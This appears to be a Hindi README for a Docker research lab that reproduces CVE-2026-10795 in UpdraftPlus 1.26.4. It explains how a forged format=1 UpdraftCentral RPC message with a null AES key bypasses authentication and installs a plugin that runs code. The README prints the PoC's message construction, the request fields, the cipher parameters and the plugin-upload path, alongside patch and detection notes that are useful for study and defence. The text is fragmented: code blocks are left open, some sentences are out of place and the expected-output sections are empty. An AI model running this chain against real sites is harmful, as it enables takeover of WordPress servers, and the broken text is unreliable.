प्राथमिक भेद्यता authentication bypass है। लैब दर्शाता है कि जब एक privileged UpdraftCentral key state मौजूद होता है, तो bypass को RCE-शैली प्रभाव के साथ जोड़ा जा सकता है, क्योंकि UpdraftCentral वैध plugin प्रबंधन कमांड उजागर करता है जो WordPress प्लगइन्स को install और activate कर सकते हैं।

यह प्रत्यक्ष command injection भेद्यता नहीं है। Code execution प्रमाण RPC authentication सीमा को बायपास करने के बाद authenticated plugin installation कार्यक्षमता का दुरुपयोग करने से प्राप्त होता है।

यह लैब केवल नियंत्रित स्थानीय शोध, source-level समझ और portfolio प्रदर्शन के लिए डिज़ाइन किया गया है।

## सत्यापित तथ्य

| दावा                                                                  | साक्ष्य                                                                                              | इस लैब में कैसे सत्यापित करें                                          |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| UpdraftPlus 1.26.4 इस लैब में कमजोर है।                          | कमजोर सेवा नकली `format=1` RPC संदेश स्वीकार करती है और `plugin.upload_plugin` dispatch करती है। | `python3 poc/poc.py --url http://127.0.0.1:8081` चलाएँ।              |
| UpdraftPlus 1.26.5 इस लैब में नकली संदेश को ब्लॉक करता है।              | पैच की गई सेवा कोई RPC response body नहीं लौटाती और नकली कमांड को dispatch नहीं करती।            | `python3 poc/poc.py --url http://127.0.0.1:8082` चलाएँ।              |
| यह मुद्दा UpdraftCentral RPC परत में authentication bypass है। | कमजोर संस्करण में एक नकली unauthenticated RPC अनुरोध command dispatch तक पहुँच सकता है।            | पोर्ट `8081` और `8082` के बीच `--ping` व्यवहार की तुलना करें।         |
| लैब marker प्लगइन को पहले से install नहीं करता।                        | सेटअप केवल WordPress, UpdraftPlus और एक स्थानीय UpdraftCentral key state install करता है।                 | PoC चलाने से पहले `/wp-json/cve-lab/v1/id` जाँचें।             |
| PoC नकली RPC के माध्यम से marker प्लगइन install करता है।                 | PoC RPC data फ़ील्ड में ZIP plugin payload के साथ `plugin.upload_plugin` भेजता है।                 | PoC चलाएँ और फिर `/wp-json/cve-lab/v1/id` का अनुरोध करें।             |
| कमजोर target RCE-शैली प्रभाव तक पहुँचता है।                        | marker प्लगइन एक hard-coded endpoint उजागर करता है जो `/usr/bin/id` आउटपुट लौटाता है।                    | कमजोर target `uid=33(www-data) gid=33(www-data)` लौटाता है। |
| पैच किया गया target marker प्लगइन install नहीं करता।                 | marker endpoint पैच की गई सेवा पर `404 rest_no_route` लौटाता है।                               | `http://127.0.0.1:8082` के विरुद्ध PoC चलाएँ।                       |
| लैब को UpdraftCentral key state की आवश्यकता होती है।                          | UpdraftCentral dispatch एक स्थानीय key entry और संबंधित मेटाडेटा पर निर्भर करता है।                         | `scripts/setup-wordpress.sh` की समीक्षा करें।                   |

## धारणाएँ और अज्ञात बातें

यह लैब जानबूझकर एक स्थानीय UpdraftCentral key state seed करता है ताकि उस साइट स्थिति को reproduce किया जा सके जहाँ remote control कॉन्फ़िगर किया गया है।

Seed किया गया key state लैब की पूर्व-आवश्यकता है, स्वयं भेद्यता नहीं। यह लैब को कमजोर RPC parsing और decryption पथ को लगातार exercise करने की अनुमति देता है।

लैब यह दावा नहीं करता कि हर UpdraftPlus installation तुरंत exploitable है। प्रदर्शित श्रृंखला एक UpdraftCentral स्थानीय key entry की उपस्थिति पर निर्भर करती है जो एक privileged WordPress उपयोगकर्ता से संबद्ध है।

लैब एक hard-coded `/usr/bin/id` proof endpoint उजागर करने वाले marker प्लगइन को install करके एक नियंत्रित RCE-शैली प्रभाव प्रदर्शित करता है। यह सामान्य web shell, arbitrary command execution parameter, reverse shell, persistence mechanism, credential theft या external callback प्रदान नहीं करता।

PoC केवल स्थानीय targets तक सीमित है और डिफ़ॉल्ट रूप से non-local hostnames को अस्वीकार करता है।

## मूल कारण सारांश

मूल कारण UpdraftPlus के कमजोर संस्करणों में UpdraftCentral RPC संदेशों का अनुचित सत्यापन है।

कमजोर RPC प्रवाह एक `format=1` संदेश स्वीकार करता है। `format=1` पथ को नए संदेश प्रारूपों जैसी signature verification की आवश्यकता नहीं होती।

उच्च-स्तरीय समस्या है:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched

असफल डिक्रिप्ट परिणाम को अस्वीकार करने के बजाय, कमजोर प्रवाह जारी रहता है और मान को सममित डिक्रिप्शन परत में पास कर देता है।

प्रभावी कमजोर पैटर्न है:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);

यह विश्वास सीमा को बदलता है।

पैच से पहले:```text
failed RSA decrypt result could still reach symmetric decrypt

यही कारण है कि कमजोर सेवा जाली RPC कमांड भेजती है, जबकि पैच की गई सेवा नहीं भेजती।

## एक प्रमाणीकरण बाईपास कोड निष्पादन की ओर कैसे ले जा सकता है

CVE-2026-10795 को सबसे अच्छा एक प्रमाणीकरण बाईपास के रूप में वर्णित किया जा सकता है, क्योंकि मूल दोष RPC प्रमाणीकरण और संदेश सत्यापन परत में है।

हालाँकि, उस प्रमाणीकरण सीमा को बायपास करने के बाद, हमलावर-नियंत्रित RPC संदेश विशेषाधिकार प्राप्त UpdraftCentral कमांड तक पहुँच सकता है।

एक महत्वपूर्ण कमांड पथ है:```text
plugin.upload_plugin

यह कमांड इंजेक्शन नहीं है।

लैब एक मार्कर प्लगइन स्थापित करके कोड निष्पादन प्रदर्शित करता है जो एक एकल एंडपॉइंट उजागर करता है:```text
/wp-json/cve-lab/v1/id

यह प्रमाण को नियंत्रित रखता है और लैब को सामान्य-उद्देश्य वाले वेब शेल में बदलने से बचाता है।

## स्रोत पैच सारांश

प्रासंगिक पैच व्यवहार यह है कि पैच किया गया संस्करण RPC संदेश निकाय को डिक्रिप्ट करने का प्रयास करने से पहले अमान्य सममित कुंजियों को अस्वीकार कर देता है।

महत्वपूर्ण सत्यापन यह है:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

लैब वास्तविक UpdraftCentral प्लगइन अपलोड कमांड पथ को लक्षित करके डाउनस्ट्रीम प्रभाव को भी सत्यापित करता है।

प्रासंगिक कमांड व्यवहार है:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()

### श्रोता निर्माण

कमजोर RPC पथ तब शुरू होता है जब WordPress एक POST अनुरोध प्राप्त करता है जिसमें शामिल होता है:```text
udrpc_message
format
key_name

इसका मतलब है कि हमलावर को किसी विशेष REST एंडपॉइंट या एडमिन URL जानने की आवश्यकता नहीं है। नकली RPC अनुरोध WordPress साइट रूट पर एक सामान्य POST अनुरोध के रूप में भेजा जाता है।

PoC भेजता है:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>

यह प्रारूप UpdraftCentral के मुख्य संकेतक तर्क द्वारा उत्पन्न किया जाता है:```php
private function indicator_name_from_index($index) {
    return $index.'.central.updraftplus.com';
}

इसलिए PoC निम्नलिखित सेट करता है:```python
KEY_NAME = "0.central.updraftplus.com"

कमजोर कोड पथ में, सिग्नेचर सत्यापन केवल तब होता है जब प्रारूप 2 से अधिक या बराबर होता है:```php
if ($format >= 2) {
    if (empty($_POST['signature'])) {
        die;
    }

    if (!$this->key_remote) {
        die;
    }

    if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
        die;
    }
}

इस signature verification ब्लॉक को छोड़ दिया जाता है।

यही authentication bypass की सीमा है।

एक वैध `format=2` message में valid signature होने की अपेक्षा की जाती है। जाली `format=1` message को signature की आवश्यकता नहीं होती, इसलिए attacker-controlled message decrypt path तक आगे बढ़ सकता है।

### कमजोर Decryption प्रवाह

फ़ॉर्मेट और key-name जाँच के बाद, listener प्रस्तुत `udrpc_message` को decrypt करता है।

UpdraftPlus 1.26.4 में कमजोर decryption प्रवाह प्रभावी रूप से इस प्रकार है:```php
$rsa->loadKey($this->key_local);

$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);

$rij->setKey($sym_key);

return $rij->decrypt($ciphertext);

यदि RSA डिक्रिप्शन विफल हो जाता है, तो `$rsa->decrypt()` लौटा सकता है:```php
false

पैच किया गया संस्करण सत्यापन जोड़कर इसे ठीक करता है:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

जब `$key` `false` होता है, `strlen(false)` शून्य-लंबाई वाली कुंजी के मामले की तरह व्यवहार करता है।

Rijndael कुंजी-लंबाई तर्क बहुत छोटे कुंजी आकारों को वैध न्यूनतम कुंजी लंबाई तक बढ़ा देता है:```php
case $length <= 128:
    $this->key_length = 16;
    break;

तो हमलावर कमजोर डिक्रिप्ट व्यवहार को इस प्रकार मॉडल कर सकता है:```text
AES/Rijndael-CBC
key = 16 null bytes
iv  = 16 null bytes

PoC इस संरचना को मैन्युअल रूप से बनाता है:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")

sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"

udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

UpdraftPlus 1.26.4 पर, वह अमान्य RSA ब्लॉक RSA डिक्रिप्शन को विफल कर देता है, लेकिन विफलता को अस्वीकार नहीं किया जाता है।

UpdraftPlus 1.26.5 पर, विफल डिक्रिप्शन परिणाम नए गार्ड द्वारा अस्वीकार कर दिया जाता है और जाली संदेश कमांड डिस्पैच तक नहीं पहुँचता है।

### आंतरिक JSON RPC संदेश

एन्क्रिप्टेड आंतरिक संदेश UpdraftCentral-शैली का एक सामान्य JSON कमांड है।

पिंग सत्यापन के लिए, PoC निम्नलिखित का उपयोग करता है:```json
{
  "command": "ping",
  "time": 1710000000,
  "key_name": "0.central.updraftplus.com",
  "rand": 123456
}

`key_name` एन्क्रिप्टेड संदेश के बाहर और अंदर दोनों जगह दिखाई देता है। listener जाँचता है कि दोनों मेल खाते हैं:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
    die;
}

संदेश में एक मान्य कमांड होना चाहिए:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
    die;
}

टाइमस्टैम्प अनुमत रीप्ले विंडो के भीतर होना चाहिए:```php
$time_difference = absint($udrpc_message['time'] - time());

if ($time_difference > $this->maximum_replay_time_difference) {
    die;
}

उदाहरण के लिए:```text
plugin.upload_plugin

लिस्नर उपसर्ग से कमांड क्लास को रिज़ॉल्व करता है और फिर मेथड को डायनैमिक रूप से कॉल करता है:```php
$msg = apply_filters(
    'updraftcentral_listener_udrpc_action',
    call_user_func(array($command_class, $command), $data, $extra_info),
    $command_class,
    $class_prefix,
    $command,
    $data,
    $extra_info
);

लिसनर कॉल करता है:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)

इस लैब में, सीडेड की (seeded key) में निम्नलिखित है:```text
extra_info.user_id = 1

तो अकेला बायपास नकली कमांड को RPC परत में पहुंचा देता है। सीडेड कुंजी मेटाडेटा यह निर्धारित करता है कि कमांड किस WordPress उपयोगकर्ता संदर्भ में चलती है।

इस लैब में, कमांड एडमिन संदर्भ में चलती है क्योंकि कुंजी उपयोगकर्ता ID 1 से संबद्ध है।

### Plugin Upload Sink

कमांड विधि है:```php
public function upload_plugin($params) {
    return $this->process_chunk_upload($params, 'plugin');
}

PoC भेजता है:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

गैर-चंक्ड अपलोड के लिए, स्थापना तुरंत आगे बढ़ती है:```php
$install_now = true;

और इसे UpdraftCentral प्लगइन अपग्रेडर का उपयोग करके इंस्टॉल करता है:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);

एक सफल इंस्टॉल प्रतिक्रिया में निम्नलिखित शामिल है:```php
return $this->_response(
    array(
        'installed' => true,
        'installed_data' => $data,
    )
);

मार्कर प्लगइन एक REST रूट पंजीकृत करता है:```text
/wp-json/cve-lab/v1/id

मार्कर प्लगइन द्वारा निष्पादित एकमात्र कमांड हार्ड-कोडेड है:```php
shell_exec('/usr/bin/id 2>&1');

चूँकि PoC जानबूझकर एक अमान्य RSA ब्लॉक प्रदान करता है, डिक्रिप्ट की गई सममित कुंजी अमान्य है।

UpdraftPlus 1.26.5 में, जाली संदेश JSON पार्सिंग से पहले और कमांड डिस्पैच से पहले रुक जाता है।

इसलिए:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route

यह स्क्रिप्ट को Docker लैब तक सीमित रखता है।

PoC आंतरिक RPC संदेश बनाता है:```python
inner = {
    "command": command,
    "time": int(time.time()),
    "key_name": KEY_NAME,
    "rand": random.randint(1, 2_147_483_647),
}

और डेटा है:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

यह `false` को सममित सिफर सेटअप में पारित करने के संवेदनशील परिणाम से मेल खाता है।

PoC जानबूझकर एक खराब RSA ब्लॉक का उपयोग करता है:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

अंत में, PoC नकली RPC अनुरोध भेजता है:```python
fields = {
    "format": "1",
    "key_name": KEY_NAME,
    "udrpc_message": build_udrpc_message(command, data),
}

requests.post(target, data=fields, timeout=timeout)

डिस्पैच के बाद, PoC मार्कर एंडपॉइंट का अनुरोध करके प्रभाव की पुष्टि करता है:```text
GET /wp-json/cve-lab/v1/id

वह आउटपुट सिद्ध करता है कि जाली अप्रमाणित RPC संदेश एक विशेषाधिकार प्राप्त प्लगइन स्थापना पथ तक पहुँचा और स्थानीय लैब के अंदर हमलावर द्वारा आपूर्ति किए गए प्लगइन कोड को सक्रिय कर दिया।

## लैब क्या सिद्ध करता है

यह लैब निम्नलिखित तकनीकी श्रृंखला को सिद्ध करता है:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.

Docker सेटअप दोनों लक्ष्यों में वह पूर्वापेक्षा बनाता है ताकि कमजोर और पैच किए गए व्यवहार के बीच अंतर का उचित परीक्षण किया जा सके।

## प्रयोगशाला आर्किटेक्चर

लैब Docker Compose के माध्यम से दो पृथक WordPress इंस्टॉलेशन चलाता है।```text
.
├── docker-compose.yml
├── scripts/
│   └── setup-wordpress.sh
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── requirements.txt
├── README.md
└── .gitignore

सेटअप प्रक्रिया दोनों सेवाओं में समान UpdraftCentral कुंजी स्थिति को सीड करती है:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1

`urllib3<2` बाधा कुछ macOS Python बिल्डों पर LibreSSL-संबंधित चेतावनियों से बचाती है।

## त्वरित आरंभ

एक स्वच्छ प्रयोगशाला स्थिति से शुरू करें:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

अपेक्षित सेटअप संकेतक:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln

चल रही सेवाओं की जाँच करें:```bash
docker compose ps

कमजोर लक्ष्य के विरुद्ध डिफ़ॉल्ट आईडी प्रूफ़ चलाएँ:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

स्क्रिप्ट को जानबूझकर `--url` विकल्प की आवश्यकता होती है। यह परीक्षक को स्वचालित रूप से दोनों सेवाओं पर हमला करने के बजाय लक्ष्य को स्पष्ट रूप से चुनने के लिए बाध्य करता है।

## PoC उपयोग

डिफ़ॉल्ट व्यवहार:```bash
python3 poc/poc.py --url <local_target_url>

पैच किया गया उदाहरण लक्ष्य:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

समर्थित विकल्प:

| विकल्प       | आवश्यक    | उद्देश्य                                                 |
| ----------- | -------- | ------------------------------------------------------- |
| `--url`     | हाँ       | स्थानीय लैब लक्ष्य URL                                    |
| `--ping`    | नहीं      | आईडी प्रमाण के बजाय हानिरहित नकली पिंग सत्यापन चलाएँ     |
| `--timeout` | नहीं      | सेकंड में HTTP टाइमआउट। डिफ़ॉल्ट: `15`                   |

स्वीकृत लक्ष्य होस्ट:```text
127.0.0.1
localhost
::1

मार्कर प्लगइन को रिपॉजिटरी में एक स्टैंडअलोन प्लगइन फ़ाइल के रूप में संग्रहीत नहीं किया गया है। यह PoC द्वारा मेमोरी में उत्पन्न किया जाता है।

गढ़ा गया RPC कमांड है:```text
plugin.upload_plugin

PoC आंतरिक JSON RPC संदेश को इसका उपयोग करके एन्क्रिप्ट करता है:```text
AES-CBC
key = 16 null bytes
iv  = 16 null bytes

यदि `--ping` सफल हो जाता है लेकिन ID प्रमाण विफल हो जाता है, तो समस्या संभवतः dispatch के बाद है:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue

## अपेक्षित परिणाम

### असुरक्षित लक्ष्य

कमांड:```bash
python3 poc/poc.py --url http://127.0.0.1:8081

### पैच किया गया लक्ष्य

कमांड:```bash
python3 poc/poc.py --url http://127.0.0.1:8082

## मैन्युअल सत्यापन कमांड

सेवा स्वास्थ्य जांचें:```bash
docker compose ps

पैच किए गए सेवा मेटाडेटा का निरीक्षण करें:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool

केवल ping सत्यापन चलाएँ:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082

PoC चलाने के तुरंत बाद मार्कर एंडपॉइंट की जाँच करें:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool

असुरक्षित कंटेनर के अंदर स्थापित प्लगइन की जाँच करें:```bash
docker compose exec -T vuln sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

PoC के चलने के बाद भेद्य सेवा में मार्कर प्लगइन मौजूद होना चाहिए। पैच की गई सेवा में नहीं होना चाहिए।

## प्रभाव

यह लैब दर्शाता है कि एक अनधिकृत हमलावर UpdraftCentral RPC संदेश को गढ़ सकता है, जो उपयुक्त UpdraftCentral कुंजी स्थिति मौजूद होने पर UpdraftPlus 1.26.4 में विशेषाधिकार प्राप्त कमांड डिस्पैच तक पहुँचता है।

प्रदर्शित प्रभाव RCE-शैली का है क्योंकि गढ़ा गया RPC कमांड वैध प्लगइन प्रबंधन कार्यक्षमता का दुरुपयोग करता है:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context

भेद्यता श्रेणी प्रमाणीकरण बाईपास ही बनी हुई है। कोड निष्पादन परिणाम विशेषाधिकार प्राप्त WordPress प्लगइन स्थापना के माध्यम से एक श्रृंखलाबद्ध प्रभाव है।

## पहचान और निगरानी

संभावित संकेतकों में WordPress मुख्य पृष्ठ पर भेजे गए अनप्रमाणित POST अनुरोध शामिल हैं जिनमें UpdraftCentral RPC फ़ील्ड होते हैं:```text
format
key_name
udrpc_message
signature

स्थानीय प्रयोगशाला संकेतक:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)

कंटेनर, नेटवर्क और वॉल्यूम हटाएँ:```bash
docker compose down -v --remove-orphans

यदि बनाई गई हों तो स्थानीय साक्ष्य फ़ाइलें हटाएँ:```bash
rm -rf evidence/

The PoC डिफ़ॉल्ट रूप से गैर-स्थानीय लक्ष्यों को अस्वीकार कर देता है।

मार्कर प्लगइन एक सामान्य कमांड निष्पादन पैरामीटर लागू नहीं करता है। यह केवल एक हार्ड-कोडेड स्थानीय प्रमाण एंडपॉइंट को उजागर करता है जो `/usr/bin/id` चलाता है।

इस लैब में शामिल नहीं है:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow

## संदर्भ

* NVD: CVE-2026-10795
  https://nvd.nist.gov/vuln/detail/CVE-2026-10795

* Wordfence भेद्यता डेटाबेस: UpdraftPlus
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus

* Patchstack डेटाबेस: UpdraftPlus
  https://patchstack.com/database/

* WordPress.org प्लगिन: UpdraftPlus
  https://wordpress.org/plugins/updraftplus/

* WordPress.org प्लगिन SVN
  https://plugins.svn.wordpress.org/updraftplus/

* WordPress.org प्लगिन SVN टैग
  https://plugins.svn.wordpress.org/updraftplus/tags/

* TeamUpdraft: UpdraftCentral
  https://updraftplus.com/updraftcentral/

* OWASP: प्रमाणीकरण चीट शीट
  https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

* OWASP: वेब सुरक्षा परीक्षण गाइड
  https://owasp.org/www-project-web-security-testing-guide/